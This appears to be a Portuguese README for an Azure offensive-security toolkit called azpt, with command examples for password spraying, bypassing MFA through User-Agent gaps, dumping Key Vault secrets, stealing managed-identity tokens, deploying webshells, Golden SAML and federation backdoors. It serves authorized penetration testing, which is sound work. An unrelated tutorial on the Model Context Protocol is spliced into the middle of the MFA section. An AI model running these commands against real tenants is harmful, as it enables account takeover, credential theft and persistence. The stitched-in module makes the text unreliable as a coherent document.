
Kit de ferramentas Go para avaliações de segurança autorizadas no Azure: enumera assinaturas e recursos, audita configurações incorretas e ataca o armazenamento público de Blob de forma anônima.
azpt)🚧 Beta pública. O
azptestá em desenvolvimento ativo — comandos, flags e formatos de saída ainda podem mudar entre versões. Relatos de bugs e feedback são bem-vindos via issues no GitHub.
O azpt é um toolkit em Go para avaliações de segurança autorizadas no Azure. Ele funciona
a partir de duas perspectivas:
⚠️ Apenas para uso autorizado. Execute isto somente contra tenants, assinaturas e contas de armazenamento para as quais você tenha permissão escrita explícita de teste. Os comandos anônimos de
blobacessam infraestrutura de terceiros pela internet — limite-os ao seu engajamento.
Todos os exemplos abaixo têm como alvo uma fictícia Acme Corp, cujo site de marketing estático
é hospedado em uma conta de armazenamento do Azure chamada acmewebsite
(https://acmewebsite.blob.core.windows.net).
A documentação completa está em docs/:
docs/guides/) — por recurso: como a
técnica funciona, a permissão exata de RBAC do Azure / Microsoft Graph necessária,
as principais flags explicadas, exemplos e notas de OPSEC / detecção — organizados por
fase do engajamento.docs/guides/scenarios/)
— narrativas de ataque ponta a ponta que encadeiam comandos entre fases (token →
Global Admin, tomada de controle via Golden SAML, roubo de PRT, phishing de consentimento → M365,
movimento lateral com identidade gerenciada, caça offline no diretório, phishing por
device-code), cada uma com OPSEC e limpeza.docs/reference/) — uma página
gerada automaticamente por comando com todas as flags (nome, abreviação, tipo, valor padrão,
descrição). Regenere com azpt gen-docs docs/reference; as mesmas informações
são exibidas por azpt <command> --help.Baixe o arquivo para sua plataforma na última release, verifique-o e extraia:```bash
tar -xzf azpt_.tar.gz sha256sum -c --ignore-missing SHA256SUMS
Os binários são estáticos (`CGO_ENABLED=0`) e não precisam de dependências de runtime.
As builds são publicadas para linux e darwin em amd64 e arm64.
Os binários para Windows não são publicados. Os helpers exclusivos para Windows (`prt extract`,
`adconnect sync-creds`, DPAPI) ainda podem ser compilados a partir do código-fonte com `go build -o
azpt.exe .` num host Windows.
### A partir do código-fonte
Requer Go 1.26+.```bash
git clone https://github.com/hac01/azure-pentesting-suite.git
cd azure-pentesting-suite
go build -o azpt .
Isso produz um binário azpt autocontido na raiz do repositório. Você também pode executar
sem compilar via go run . <command> a partir do diretório do repositório.
Não é necessário login no Azure para os comandos anônimos blob:```bash
./azpt blob hunt --account acmewebsite
Com credenciais Azure (`az login`), avalie a partir do interior — tanto o plano de recursos (ARM) quanto o diretório (Entra ID / Graph):```bash
./azpt enum whoami # who am I authenticated as?
./azpt enum subscriptions # what subscriptions can this principal see?
./azpt audit storage # misconfigured storage accounts
./azpt enum users # dump the Entra ID directory (Graph)
Uma cadeia comum: recuperar uma credencial anonimamente com blob hunt, iniciar sessão como
esse utilizador (az login), verificar o que pode fazer com enum access, e depois saquear quaisquer
Key Vaults que consiga alcançar:```bash
./azpt enum access # token scopes, directory roles, groups, RBAC roles
./azpt enum resources # find Key Vaults (type: vaults)
./azpt vault list --vault ext-contractors # secrets, keys, certs in that vault
./azpt vault dump --vault ext-contractors # read every secret value (the loot)
---
## Autenticação
Os comandos anônimos `blob` **não** precisam de autenticação. Todo o resto usa
a **cadeia de credenciais padrão** do Azure, que tenta, em ordem: variáveis
de ambiente, identidade de carga de trabalho, identidade gerenciada e a CLI do Azure (`az login`).```bash
az login
./azpt enum subscriptions
Forçar autenticação explícita com service-principal (útil para uma identidade de avaliação com escopo definido) com flags ou variáveis de ambiente. Ainda não tem uma? az ad sp create-for-rbac --name azpt-assessment --role Reader --scopes /subscriptions/<subscription-id> cria uma — consulte Getting
started para o
passo a passo completo, incluindo as permissões do Graph que o RBAC sozinho não concede:```bash
./azpt --tenant --client-id --client-secret
enum subscriptions
export AZURE_TENANT_ID=... AZURE_CLIENT_ID=... AZURE_CLIENT_SECRET=... ./azpt enum subscriptions
**Autenticação baseada em certificado** (PFX ou PEM):```bash
./azpt --tenant <tenant-id> --client-id <app-id> \
--certificate ./cert.pfx --cert-password 'P@ss' \
enum subscriptions
Restrinja execuções autenticadas a assinaturas específicas com --subscription
(repetível); o padrão é todas as assinaturas que o principal consegue alcançar:```bash
./azpt --subscription 00000000-1111-2222-3333-444444444444 audit storage
---
## Referência de comandos
🧪 marca um comando ainda em **beta**: implementado e utilizável, mas menos
testado em batalha do que o resto do conjunto — espere arestas mais ásperas, e por favor
reporte os problemas que encontrar.
| Comando | Auth | API | Descrição |
| --- | :---: | --- | --- |
| `recon realm <domain>` | ❌ | Identity | O domínio é suportado pelo Entra ID? (Managed/Federated) |
| `recon tenant <domain>` | ❌ | Identity | Descobrir o tenant ID (configuração OpenID) |
| `recon outsider <domain>` | ❌ | Identity+DNS | Recon externo completo: realm, tenant, MX/SPF/DMARC/DKIM/MTA-STS |
| `recon subdomains <base>` | ❌ | DNS | Enumerar subdomínios de serviços Azure (App Service, Storage, Vault, SQL, ...) |
| `recon users` | ❌ | Identity | Validar se os nomes de utilizador existem no Entra ID |
| `spray` | ❌ | Identity | Password-spray de uma password por vários nomes de utilizador (apenas autorizado) |
| `mfa audit` | ❌ | Identity | Encontrar lacunas na aplicação de MFA (ROPC em recursos/clientes/User-Agents) |
| `mfa token` | ❌ | Identity | Obter um access token através de uma lacuna de MFA (tenta automaticamente User-Agents) |
| `mfa refresh` | ❌ | Identity | Trocar um refresh token pelo token de outro recurso (FOCI) |
| `mfa devicecode` | ❌ | Identity | Isca de phishing por device-code → capturar tokens após a vítima iniciar sessão |
| `imds token` | ❌ | IMDS | Gerar um token de managed identity num recurso comprometido (executar no host) |
| `imds loot` | ❌ | IMDS | Obter tokens MI para ARM, Graph, Storage e Key Vault de uma só vez |
| `enum ca` | ✅ | Graph | Enumerar políticas de Conditional Access e sinalizar lacunas de MFA |
| `enum deployments` | ✅ | ARM | Listar o histórico de deployments ARM, sinalizar parâmetros com segredos |
| `webapp list/settings/creds` | ✅ | ARM | Inventário do App Service, app settings, credenciais de publicação Kudu |
| `webapp exec` | ✅ | ARM/Kudu | Executar um comando num site via Kudu (RCE) |
| `webapp loot` | ✅ | ARM | Todas as apps: settings + connection strings + credenciais Kudu, sinalizar segredos |
| `storage keys` | ✅ | ARM | Listar as access keys de uma storage account |
| `storage sas` | ✅ | ARM | Gerar um account SAS token via ARM |
| `vm list` / `vm run` | ✅ | ARM | Listar VMs / executar um comando via RunCommand |
| `automation list/loot` | ✅ | ARM | Runbooks de Automation, variáveis, nomes de credenciais |
| `loot keys` | ✅ | ARM | Varrer keys/connection strings de Cosmos, ACR, Redis, Service Bus, Event Hub, Cognitive, Batch, App Config, SignalR, Maps |
| `loot apim` | ✅ | ARM | Named values do API Management (incl. segredos) |
| `loot logicapps` / `loot datafactory` | ✅ | ARM | Definições de Logic App / linked services do Data Factory |
| `aks list` / `aks kubeconfig` | ✅ | ARM | Listar clusters AKS / obter o kubeconfig de cluster-admin |
| `enum approles` | ✅ | Graph | Enumerar atribuições de app-role do Graph, sinalizar caminhos de privesc (→ Global Admin) |
| `enum privroles` | ✅ | Graph | Titulares de funções de diretório privilegiadas (ativas + elegíveis via PIM) |
| `enum grants` | ✅ | Graph | Concessões delegadas OAuth2 (ilícitas / over-consent), scopes perigosos sinalizados |
| `enum laps` | ✅ | Graph | Obter passwords de administrador local do Windows LAPS a partir do Entra |
| `enum bitlocker` | ✅ | Graph | Obter chaves de recuperação BitLocker a partir do Entra |
| `enum dynamicgroups` | ✅ | Graph | Grupos dinâmicos (baseados em regras) — superfície de self-join / privesc |
| `enum guests` / `enum devices` | ✅ | Graph | Utilizadores convidados (B2B) / dispositivos registados |
| `enum risky` | ✅ | Graph | Caça a obsoletos/arriscados: convidados, SP de sincronização, break-glass, apps com segredos |
| `enum intune` / `intune list` | ✅ | Graph | Listar dispositivos geridos pelo Intune |
| `intune script` | ✅ | Graph | Implementar um script PowerShell num grupo de dispositivos (RCE como SYSTEM) |
| `recon tenantinfo` | ❌ | Identity | Recon externo profundo: tenant ID, federação, Seamless SSO, sincronização on-prem |
| `entra create-app` | ✅ | Graph | Criar app + SP + segredo (identidade de persistência controlável) |
| `entra reset-password` | ✅ | Graph | Redefinir a password de um utilizador (tomada de conta) |
| `entra add-member/add-owner` | ✅ | Graph | Adicionar um membro/owner a um grupo/app/SP (privesc e persistência) |
| `entra grant` | ✅ | Graph | Criar uma concessão de consentimento OAuth2 (consentimento ilícito) |
| `entra invite` / `entra tap` | ✅ | Graph | Convidar um convidado B2B / criar um Temporary Access Pass (bypass de autenticação) |
| `scan --loot` | ✅ | ARM+Graph | Loot de scan profundo: chaves de Function App, kubeconfig AKS, LAPS, BitLocker, APIM, firewalls de BD, snapshots, funções personalizadas, credenciais obsoletas |
| `scan --bloodhound` | ✅ | — | Exportar o grafo Entra+ARM como BloodHound CE OpenGraph JSON |
| `enum adminunits` | ✅ | Graph | Administrative Units e os seus membros de funções com âmbito (abuso de admin com âmbito AU) |
| `enum identities` | ✅ | ARM | Mapear managed identities para os seus recursos anfitriões |
| `enum lighthouse` | ✅ | ARM | Delegações Azure Lighthouse (tenants externos a gerir esta subscrição) |
| `enum pip` | ✅ | ARM | Listar endereços IP públicos no âmbito da subscrição |
| `entra update-profile` | ✅ | Graph | Atualizar atributos de perfil de um utilizador (abuso de grupo dinâmico) |
| `app add-secret` | ✅ | Graph | Adicionar um client secret a um app registration (persistência/privesc) |
| `app add-federated` | ✅ | Graph | Adicionar uma credencial de identidade federada (persistência com IdP externo) |
| `webapp functionkeys` | ✅ | ARM | Host keys de Function App (master key → API de admin / RCE) |
| `disk list` / `disk export` | ✅ | ARM | Listar discos/snapshots / exportar read-SAS para loot offline de VHD |
| `storage shares` / `storage queues` | ✅ | ARM | Listar partilhas Azure Files / filas de Storage |
| `storage peek` / `storage files` | ✅ | Storage | Espiar o conteúdo de mensagens de fila / listar ficheiros de partilha (data plane) |
| `loot aci` | ✅ | ARM/data | Variáveis de ambiente de Container Instances |
| `loot appconfig` 🧪 | ✅ | ARM/data | Pares chave-valor do App Configuration |
| `cosmos list/dump/table` | ✅ | ARM+data | Contas Cosmos DB, bases de dados, contentores, leitura de documentos, Table API |
| `containerapp loot/exec/steal-token` | ✅ | ARM | Segredos + variáveis de ambiente de Container App / exec na réplica / roubar token MI |
| `iot list/devices/invoke` | ✅ | ARM+data | Chaves do IoT Hub, identidades de dispositivos, invocação de direct-method (RCE no dispositivo) |
| `backup vaults/items/restore` | ✅ | ARM | Cofres Recovery Services, itens de backup + pontos de recuperação, restaurar discos |
| `db list/query` | ✅ | ARM+data | Enumeração e consulta de servidores PostgreSQL/MySQL (login Entra ou BD) |
| `blob containers` | ❌ | Blob | Listar todos os contentores numa storage account (com --sas para SAS ao nível do serviço) |
| `m365 mail/files/sites` | ✅ | Graph | Loot de mailbox, OneDrive e SharePoint com um token Graph |
| `blob brute` | ❌ | DNS/Blob | Descobrir storage accounts por nome e sondar contentores anónimos |
| `recon takeover` | ❌ | DNS | Sinalizar CNAMEs Azure pendentes (subdomain takeover) |
| `audit network` | ✅ | ARM | Auditar exposição à internet de NSGs e IPs públicos |
| `audit keyvault` | ✅ | ARM | Auditar acesso público ao Key Vault, purge/soft-delete, políticas amplas |
| `audit rbac` | ✅ | ARM | Auditar higiene de RBAC: proliferação de Owner, UAA, funções personalizadas de risco |
| `enum subscriptions` | ✅ | ARM | Listar subscrições visíveis ao principal atual |
| `enum resources` | ✅ | ARM | Listar todos os recursos no âmbito da subscrição (`--fast` usa Resource Graph; `--access` adiciona uma coluna com a função RBAC que detém em cada um) |
| `enum kql` | ✅ | ARM | Executar uma consulta arbitrária ao Azure Resource Graph (KQL) no âmbito |
| `enum users` | ✅ | Graph | Listar utilizadores do diretório Entra ID |
| `enum groups` | ✅ | Graph | Listar grupos do diretório Entra ID |
| `enum service-principals` | ✅ | Graph | Listar service principals / enterprise apps |
| `enum apps` | ✅ | Graph | Listar app registrations, com contagens de segredos/certificados |
| `enum org` | ✅ | Graph | Mostrar informação do tenant/organização e domínios verificados |
| `enum whoami` | ✅ | Graph | Mostrar o utilizador atualmente autenticado (`/me`) |
| `enum access` | ✅ | ARM+Graph | Mostrar o seu acesso efetivo: scopes do token, funções de diretório, pertenças a grupos, funções RBAC |
| `scan` | ✅ | ARM+Graph | Mapear o acesso do utilizador como um grafo de caminhos de ataque estilo BloodHound (+ HTML) |
| `audit storage` | ✅ | ARM | Auditar storage accounts (acesso público, TLS, transporte, firewall) |
| `vault list` | ✅ | KV | Listar segredos, chaves e certificados num Key Vault |
| `vault get --secret <n>` | ✅ | KV | Ler o valor de um único segredo do Key Vault |
| `vault dump` | ✅ | KV | Listar e ler todos os segredos de um Key Vault |
| `sql databases` | ✅ | SQL | Listar bases de dados num servidor Azure SQL |
| `sql tables` | ✅ | SQL | Listar tabelas (com contagens de linhas) numa base de dados |
| `sql query -q <sql>` | ✅ | SQL | Executar uma consulta só de leitura (mutações requerem `--allow-write`) |
| `sql dump --table <t>` | ✅ | SQL | Despejar linhas de uma tabela |
| `storage containers` | ✅ | Storage | Listar contentores de blobs (autenticado) |
| `storage blobs` | ✅ | Storage | Listar blobs num contentor (autenticado) |
| `storage download` | ✅ | Storage | Descarregar um blob (autenticado) |
| `storage tables` | ✅ | Storage | Listar Storage Tables numa conta |
| `storage entities` | ✅ | Storage | Consultar/despejar as linhas de uma Storage Table |
| `blob check <path>` | ❌ | Blob | Fazer HEAD a um blob para testar acessibilidade anónima |
| `blob list` | ❌ | Blob | Listar um contentor anonimamente (`--versions`, `--delimiter /`, `--prefix`) |
| `blob versions` | ❌ | Blob | Enumerar versões de blobs — revela ficheiros antigos/substituídos/apagados |
| `blob download <path>` | ❌ | Blob | Descarregar um blob, opcionalmente um `--version-id` específico |
| `blob hunt` | ❌ | Blob | Sondar contentores, enumerar versões e sinalizar ficheiros com segredos |
| `vm show` | ✅ | ARM | Informação detalhada da VM: user data, IPs públicos/privados, tags, utilizador admin |
| `vm extensions` | ✅ | ARM | Listar extensões de VM (fuga de credenciais do Custom Script Extension) |
| `vm steal-token` | ✅ | ARM | Roubar um token de managed identity de uma VM via IMDS (RunCommand) |
| `enum synced` | ✅ | Graph | Listar utilizadores sincronizados on-premises com Security Identifiers (SIDs) |
| `enum powerplatform environments` 🧪 | ✅ | PowerApps | Listar ambientes Power Platform (instâncias Dataverse) |
| `enum powerplatform apps` 🧪 | ✅ | PowerApps | Listar aplicações canvas do Power Apps |
| `enum powerplatform tables` 🧪 | ✅ | Dataverse | Listar tabelas Dataverse (definições de entidades) |
| `enum powerplatform query` 🧪 | ✅ | Dataverse | Consultar linhas de uma tabela Dataverse via OData |
| `webapp deploy` | ✅ | Kudu | Carregar um ficheiro para uma web app via Kudu VFS (implementação de webshell) |
| `token extract` | ❌ | — | Extrair tokens de um ficheiro de cache de tokens MSAL (refresh + access) |
| `m365 teams/search-mail/search-files` | ✅ | Graph | Canais do Teams, pesquisa de mail, pesquisa SharePoint/OneDrive |
| `m365 scan` | ✅ | Graph | Varrer dados M365 à procura de segredos, passwords, credenciais (14 padrões) |
| `devops projects/serviceconnections/variablegroups/pipelines` | ✅ | DevOps | Enumerar organizações Azure DevOps: projetos, service connections (SP/tenant/subscrição expostos), variable groups, pipelines |
| `devops preview` | ✅ | DevOps | Resolver o YAML final de um pipeline após expansão de templates/variáveis sem o executar |
| `devops run` | ✅ | DevOps | Enfileirar uma execução real de pipeline e capturar o seu build log (executa como a identidade da service connection do pipeline) |
| `arm deploy-script` | ✅ | ARM | Executar código num contentor ACI transitório via `deploymentScripts` (RCE), opcionalmente anexando uma managed identity |
| `persistence grant-rbac` | ✅ | ARM | Atribuir uma função RBAC (ex.: Owner) a si próprio ou a um principal em qualquer âmbito (privesc/persistência) |
| `persistence attach-identity` | ✅ | ARM | Anexar uma managed identity atribuída pelo utilizador a um recurso (privesc via `steal-token`) |
| `aks kubeconfig --user` | ✅ | ARM | Obter o kubeconfig do utilizador autenticado no Entra (funciona em clusters com contas locais desativadas) |
| `k8s secrets` | ✅ | K8s | Despejar todos os segredos Kubernetes num namespace (ou no cluster inteiro) |
| `k8s serviceaccounts` | ✅ | K8s | Listar service accounts, sinalizando as federadas via Azure Workload Identity |
| `k8s pods` | ✅ | K8s | Listar pods e a service account com que cada um corre |
| `k8s rbac` | ✅ | K8s | Enumerar cluster/role bindings, sinalizando caminhos de privesc cluster-admin/wildcard/pod-exec/secrets-read |
| `k8s exec` | ✅ | K8s | Executar um comando num pod (RCE não interativo, como a service account desse pod) |
| `k8s steal-token` | ✅ | K8s | Gerar um token de service account via TokenRequest API (funciona sem token secret montado) |
| `k8s pivot-azure` | ✅ | K8s→Entra | Roubar um token SA federado com workload identity e trocá-lo por um access token real do Azure AD |
| `harvest` | ❌ | — | Loot de armazenamentos de credenciais do az CLI / Az PowerShell em disco (tokens, segredos SP; armazenamentos protegidos por DPAPI no Windows) |
| `prt nonce` 🧪 | ❌ | Identity | Obter um nonce do servidor (`srv_challenge`) para assinatura de cookies PRT |
| `prt cookie` 🧪 | ❌ | Identity | Construir uma cookie SSO `x-ms-RefreshTokenCredential` assinada a partir de um PRT + session key (KDF v2) |
| `prt auth` 🧪 | ❌ | Identity | Cadeia SSO PRT completa: nonce → cookie → authorize → access + refresh token |
| `prt extract` 🧪 | ❌ | Identity | No host (Windows): obter uma cookie SSO nova do BrowserCore.exe e trocá-la (ROADtoken) |
| `device register` | ✅ | DRS | Registar um dispositivo rogue (join) → certificado/chave do dispositivo — pré-requisito de PRT, bypass de device-CA, persistência |
| `federation list` | ✅ | Graph | Mostrar a configuração de federação de um domínio |
| `federation backdoor` | ✅ | Graph | Converter um domínio gerido em Federated, confiando num STS do atacante (AADInternals `ConvertTo-AADIntBackdoor`) |
| `federation golden-saml` 🧪 | ❌ | Identity | Forjar uma asserção SAML assinada para qualquer utilizador e trocá-la por tokens (Golden SAML) |
| `federation remove` | ✅ | Graph | Eliminar uma configuração de federação (reverter para Managed / limpeza) |
| `entra phish-app create` 🧪 | ✅ | Graph | Criar uma app multi-tenant de consent-phishing OAuth + URLs de consentimento (GraphRunner `Invoke-InjectOAuthApp`) |
| `entra phish-app serve` | ❌ | Identity | Listener local que captura o código de autorização de consentimento e o troca por tokens |
| `m365 rules list/add/delete` | ✅ | Graph | Regras de reencaminhamento de caixa de entrada (persistência silenciosa de reencaminhamento de mailbox) |
| `scan dump` | ✅ | ARM+Graph | Extrair o diretório + grafo de ataque para uma base de dados SQLite offline em Go puro |
| `scan query <view>` | ❌ | — | Executar vistas analíticas pré-definidas (`admins`, `password-resetters`, `dangerous-approles`, …) contra um dump |
| `adconnect sync-creds` | ✅ | ADSync SQL | Despejar credenciais de bind de sincronização do AD Connect encriptadas da BD ADSync (desencriptar com AADInternals `Get-AADIntSyncCredentials`) |
O `azpt` comunica com três APIs Azure. Os comandos **ARM** usam o Azure SDK; os
comandos **Graph** (Entra ID / objetos de diretório) usam um token Graph em bruto da
mesma credencial; os comandos **Blob** são totalmente anónimos.
**Flags globais** (antes do subcomando): `--json`, `--jsonl` (NDJSON, para
pipelines de streaming/estilo BloodHound), `--opsec` (imprimir a superfície de deteção
antes de executar), `--subscription <id>` (repetível), `--tenant`, `--client-id`,
`--client-secret`, `--certificate` (PFX/PEM), `--cert-password`,
`--access-token` (repetível, ou `AZPT_TOKEN`), `--refresh-token` (auto-pivot
FOCI), `--cloud` (`public` | `usgov` | `china` — reorienta os endpoints
ARM/Graph/login para clouds soberanas).
Todas as chamadas ARM e Graph seguem a paginação `nextLink` (sem truncagem
silenciosa em tenants grandes) e repetem em `429`/`503` honrando `Retry-After`.
**Conduzir o azpt com um token roubado.** Qualquer comando autenticado aceita um
bearer token previamente obtido via `--access-token` (ou `AZPT_TOKEN`) em vez de
`az login` — tokens obtidos de uma lacuna de MFA (`mfa token`), de uma managed identity
(`imds`), ou de phishing funcionam diretamente. Forneça vários (ARM, Graph, Storage) e
cada um é encaminhado para a API cuja audiência corresponde:```bash
azpt --access-token "$(cat arm.jwt)" enum resources
azpt --access-token "$ARM" --access-token "$STORAGE" scan --deep --html graph.html
A clássica cadeia de pós-exploração, inteiramente em azpt:```bash
T=$(azpt mfa token -u [email protected] -P 'Passw0rd!' -r arm --confirm --json | jq -r .accessToken) azpt --access-token "$T" webapp loot # app settings → MSI secret, storage, DB creds
azpt imds loot -c "$ENTRA_CLIENT_ID" # ARM + Storage tokens for the app's identity
azpt --access-token "$STORAGE_TOKEN" storage containers --account corpstorage
**Flags do `blob`** (todos os subcomandos `blob`): `--account <name>` (obrigatório),
`--container <name>` (padrão `$web`), `--api-version <ver>` (padrão
`2021-08-06`; deve ser ≥ `2019-12-12` para enumeração de versões),
`--endpoint-suffix <suffix>` (padrão `core.windows.net`; defina como
`core.usgovcloudapi.net` / `core.chinacloudapi.cn` para nuvens soberanas).
Execute `./azpt <command> --help` para obter a lista completa de flags de qualquer comando.
---
## Reconhecimento (somente domínio)
Os comandos `recon` são a frente de um engajamento: dado apenas um nome de domínio,
determine se a organização usa Entra ID, encontre seu tenant ID, mapeie sua
pegada no Azure e valide nomes de usuário — tudo **não autenticado**.```bash
# Is contoso.com on Entra ID, and what's the tenant ID?
./azpt recon realm contoso.com
./azpt recon tenant contoso.com
# One-shot outsider posture (realm + tenant + mail/DNS security)
./azpt recon outsider contoso.com
# Map the Azure footprint by brute-forcing service subdomains.
# Wildcard services (e.g. Front Door) are auto-detected and skipped.
./azpt recon subdomains contoso --threads 30
# Validate candidate usernames (o365 enumeration; does not lock accounts)
./azpt recon users [email protected] [email protected]
./azpt recon users --user-file names.txt
# Generate username patterns from a name and validate them
./azpt recon users --first jane --last doe --domain contoso.com
sprayDepois de ter nomes de usuário válidos e uma senha candidata (por exemplo, de um corpus de vazamento), teste-a. Esta é uma única senha aplicada a muitos usuários (um spray, não uma força bruta por usuário que bloqueia contas), mas ainda é ruidosa e pode acionar bloqueios e alertas.```bash ./azpt spray --user-file valid-users.txt --password 'Spring2026!' --confirm
`--confirm` é obrigatório — omita-o e o comando recusa-se a executar. Os resultados são
classificados: válido, válido-mas-MFA-obrigatório, desativado, bloqueado (parar!), ou inválido.
Códigos que só ocorrem *depois* de a palavra-passe ser verificada (MFA, expirado, CA) são
reportados como **credenciais válidas**.
> ⚠️ O password spraying é uma técnica intrusiva e detetável. Execute-o apenas
> contra tenants para os quais tenha autorização escrita explícita para testar.
### Lacunas no cumprimento de MFA — `mfa`
Tem **credenciais válidas** para um utilizador, mas o Portal do Azure solicita MFA.
As políticas de Acesso Condicional são frequentemente definidas por *recurso*, *aplicação cliente*,
e *plataforma do dispositivo* (que o Entra deriva do `User-Agent`). Se uma política
só exigir MFA quando um pedido corresponde a uma dessas condições, um pedido que
não corresponde a **nenhuma** — por exemplo, um User-Agent de plataforma de dispositivo invulgar — pode obter um
token **sem MFA nenhum**. Esta é a mesma técnica que
[FindMeAccess](https://github.com/absolomb/FindMeAccess), utilizando o fluxo ROPC.```bash
# Sweep resources / clients / device-platform User-Agents for a gap.
./azpt mfa audit -u [email protected] -P 'Passw0rd!' --confirm
Ao final deste módulo, você será capaz de:
Antes de começar este módulo, certifique-se de que você tem:
Este módulo está dividido em cinco seções principais:
O Model Context Protocol (MCP) é um padrão aberto que permite que aplicações de IA se conectem de forma segura a fontes de dados e ferramentas externas. Pense nisso como um USB-C para aplicações de IA - um protocolo universal que padroniza como modelos de IA acessam contexto e executam ações.
Antes do MCP, cada aplicação de IA precisava de integrações personalizadas para cada fonte de dados ou ferramenta. Isso criava:
O MCP resolve esses problemas fornecendo:
O MCP permite uma ampla variedade de casos de uso:
O ecossistema do MCP consiste em vários componentes-chave:
O MCP segue uma arquitetura cliente-servidor onde:
┌─────────────────────────────────────────────────┐
│ Host MCP │
│ ┌─────────────┐ ┌─────────────┐ ┌──────────┐ │
│ │ Cliente 1 │ │ Cliente 2 │ │ Cliente 3│ │
│ └──────┬──────┘ └──────┬──────┘ └────┬─────┘ │
└─────────┼────────────────┼──────────────┼───────┘
│ │ │
▼ ▼ ▼
┌──────────┐ ┌──────────┐ ┌──────────┐
│ Servidor │ │ Servidor │ │ Servidor │
│ MCP 1 │ │ MCP 2 │ │ MCP 3 │
└──────────┘ └──────────┘ └──────────┘
O MCP suporta múltiplos mecanismos de transporte:
stdio (Entrada/Saída Padrão)
HTTP com SSE (Server-Sent Events)
WebSockets (planejado)
O ciclo de vida de uma conexão MCP segue estas fases:
As mensagens do MCP usam JSON-RPC 2.0 como formato de fio:
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "get_weather",
"arguments": {
"location": "San Francisco"
}
}
}
O MCP define três tipos principais de primitivas que os servidores podem expor:
Tools são funções que o LLM pode chamar para executar ações ou recuperar dados.
Características:
Exemplo de definição de uma tool:
@mcp.tool()
def get_weather(location: str) -> str:
"""Obtém o clima atual para um local."""
# Implementação aqui
return f"Ensolarado em {location}"
Resources são fontes de dados que o LLM pode ler, mas não modificar.
Características:
Exemplo de definição de um resource:
@mcp.resource("file://documents/{path}")
def read_document(path: str) -> str:
"""Lê um documento do sistema de arquivos."""
with open(path, 'r') as f:
return f.read()
Prompts são templates reutilizáveis que ajudam os usuários a interagir com o LLM.
Características:
Exemplo de definição de um prompt:
@mcp.prompt()
def code_review(code: str) -> str:
"""Gera um prompt de revisão de código."""
return f"Por favor, revise o seguinte código:\n\n{code}"
O MCP fornece SDKs oficiais para várias linguagens:
mcp (pip install mcp)@modelcontextprotocol/sdk (npm install)Aqui está um exemplo completo de um servidor MCP em Python:
from mcp.server import Server
from mcp.server.stdio import stdio_server
from mcp.types import Tool, TextContent
# Criar instância do servidor
server = Server("meu-servidor")
# Definir uma tool
@server.tool()
async def add_numbers(a: int, b: int) -> int:
"""Soma dois números."""
return a + b
# Definir um resource
@server.resource("config://app")
async def get_config() -> str:
"""Obtém a configuração da aplicação."""
return '{"debug": true, "version": "1.0.0"}'
# Executar o servidor
async def main():
async with stdio_server() as (read_stream, write_stream):
await server.run(read_stream, write_stream)
if __name__ == "__main__":
import asyncio
asyncio.run(main())
Aqui está um exemplo equivalente em TypeScript:
import { Server } from "@modelcontextprotocol/sdk/server/index.js";
import { StdioServerTransport } from "@modelcontextprotocol/sdk/server/stdio.js";
const server = new Server({
name: "meu-servidor",
version: "1.0.0",
});
// Definir uma tool
server.setRequestHandler("tools/call", async (request) => {
if (request.params.name === "add_numbers") {
const { a, b } = request.params.arguments;
return {
content: [{ type: "text", text: String(a + b) }],
};
}
throw new Error("Tool desconhecida");
});
// Executar o servidor
const transport = new StdioServerTransport();
await server.connect(transport);
Adicione ao seu arquivo claude_desktop_config.json:
{
"mcpServers": {
"meu-servidor": {
"command": "python",
"args": ["/caminho/para/servidor.py"]
}
}
}
Adicione ao seu arquivo .cursor/mcp.json:
{
"mcpServers": {
"meu-servidor": {
"command": "node",
"args": ["/caminho/para/servidor.js"]
}
}
}
Adicione ao seu arquivo settings.json:
{
"mcp.servers": {
"meu-servidor": {
"command": "python",
"args": ["/caminho/para/servidor.py"]
}
}
}
Ao construir servidores MCP, considere estas questões de segurança:
Siga estas melhores práticas ao construir servidores MCP:
Evite estes erros comuns ao construir servidores MCP:
Neste módulo, você aprendeu:
Agora que você entende os fundamentos do MCP, você pode:
Anterior: Módulo 8: Construindo Aplicações com LLMs Próximo: Módulo 10: Implantação em Produção``` [·] MFA Azure Resource Manager Azure PowerShell Windows 10 / Chrome — MFA required (Conditional Access enforced) [·] MFA Azure Resource Manager Azure PowerShell macOS / Safari — MFA required (Conditional Access enforced) [+] GAP Azure Resource Manager Azure PowerShell PlayStation 5 — TOKEN ISSUED — no MFA challenge ... OVERVIEW 10 attempts · 3 MFA gaps · 6 MFA-enforced · 0 blocked
[+] MFA GAP CONFIRMED — 3 combination(s) returned a token with no MFA: Azure Resource Manager via client "Azure PowerShell" · User-Agent "PlayStation 5"
A lacuna aqui é uma condição de plataforma de dispositivo em que *todas* as plataformas estão selecionadas —
o que parece seguro, mas a avaliação só exige MFA quando o User-Agent
**corresponde a uma** delas. Um User-Agent que não corresponde a nenhuma (um PlayStation 5, ou uma string
inventada) recebe acesso. Agora obtenha um token utilizável e faça o pivô:```bash
# Auto-tries User-Agents until one bypasses MFA; prints the token + a usage hint.
./azpt mfa token -u [email protected] -P 'Passw0rd!' \
-r "https://management.azure.com" --confirm
# → ACCESS TOKEN (ARM), plus:
# Connect-AzAccount -AccessToken $t -AccountId "j.doe"
-r / -c aceitam tanto uma URL completa / app-ID ou um nome curto (storage,
graph, keyvault; cli, office, teams). Obtenha um token de Storage da mesma
forma para acessar dados de blob que um token ARM não consegue:```bash
./azpt mfa token -u [email protected] -P 'Passw0rd!' -r storage --confirm
`--confirm` é obrigatório. O ROPC envia credenciais reais para o endpoint de token, portanto tentativas repetidas podem bloquear a conta e gerar alertas de início de sessão — a varredura é **encenada** (baseline, depois User-Agents, depois `--full` alarga para todos os clientes e recursos) para manter o número de pedidos baixo, e `--delay <ms>` limita a taxa.
> ⚠️ Os testes de MFA baseados em ROPC são intrusivos e registados (aparecem nos registos de início de sessão do Entra como autenticação ROPC). Apenas em compromissos autorizados.
## Passo a passo: ataque anónimo a blobs
Este é o fluxo de trabalho principal: comprometer um site estático alojado no Azure Blob storage, com **zero credenciais**. A *listagem* anónima funciona quando o nível de acesso público de um contentor está definido como `Container`; a *enumeração de versões* requer adicionalmente que o versionamento de blobs esteja ativado na conta.
Para uma explicação mais detalhada de cada passo e por que funciona, consulte
[`docs/blob-anonymous-attacks.md`](https://github.com/hac01/azure-pentesting-suite/blob/main/docs/blob-anonymous-attacks.md).```bash
# 1. Is the static-website container anonymously reachable?
./azpt blob check --account acmewebsite index.html
# -> HTTP 200 accessible=true
# 2. List the $web container (the default). Note the "versioning:" line —
# if it says ENABLED, historical files may be recoverable.
./azpt blob list --account acmewebsite
